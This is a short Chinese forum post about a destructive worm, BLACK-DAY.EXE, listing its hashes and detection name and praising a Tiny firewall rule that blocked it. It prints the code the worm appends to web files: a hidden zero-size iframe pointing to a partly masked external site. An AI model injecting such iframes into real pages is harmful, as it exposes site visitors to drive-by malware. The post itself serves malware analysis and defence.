| 引用: |
【baohe的贴子】从“艾玛”MM那里得到这个BT蠕虫的样本。
之所以说它BT，是因为它替换系统文件夹以外的几乎所有类型的文件（还试图替换.GHO。汗！）。
但是，在Tiny的系统权限防护中加入这么一条规则（图1），再加上文件（夹）防护规则的恰当设置，一个Tiny，就让它歇了（图2）。
可见，系统权限的防护至关重要。
我们国产的杀软何时能有这种能力啊？期盼中.........
图1
……………… |
BLACK-DAY.EXE By : wswhacker
File Size : 251,904 Bytes
Created Date : 2007-4-13 16:57:22
Modified Date : 2007-4-13 16:57:22
SHA-160 : 9B4CE217FFC08BD642735CB0E7FE9C03FB10FFFF
MD5 : 50D2A304A75DC49B3AC4CC77D2614D01
CRC-32 : A73DB3B3
瑞星：Worm.YadBlac.a
传播方式：恶意网页或漏洞下载
感染.asp|.htm|.html|.aspx|.PHP|.JSP网页文件，追加<iframe src='hxxp://www.****youxi.net/index.htm' width=0 height=0></iframe>
感染破坏覆盖文件……，恢复是个难题唉……
http://hi.baidu.com/killvir/blog/item/fc7bd539f8ef77f23b87cefd.html
